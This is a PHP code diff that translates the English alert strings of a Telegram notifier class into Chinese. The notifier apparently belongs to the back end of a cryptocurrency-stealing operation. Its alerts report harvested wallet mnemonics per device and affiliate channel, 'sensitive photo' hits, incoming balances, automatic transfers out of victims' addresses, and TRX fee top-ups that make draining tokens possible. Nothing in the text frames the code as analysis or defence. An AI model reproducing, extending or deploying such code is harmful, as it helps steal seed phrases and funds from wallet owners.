'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
]), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>Sensitive Photo</b>',
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
@@ -284,14 +284,14 @@ class TelegramNotifier
?string $balance = null,
): void {
$lines = [
'✅ <b>Balance Inbound</b>',
'✅ <b>余额入账</b>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
'⛓ <b>链</b>: '.$this->e($chain ?: '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines), $deviceId);
}
@@ -311,23 +311,23 @@ class TelegramNotifier
?string $error = null,
): void {
$lines = [
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
$ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
'⛓ <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
];
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
@@ -345,19 +345,19 @@ class TelegramNotifier
?string $error = null,
): void {
$lines = [
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
...$this->deviceHeader($deviceId),
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
@@ -368,8 +368,8 @@ class TelegramNotifier
$channelId = $this->contextForDevice($deviceId)['channel_id'];
return [
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
];
}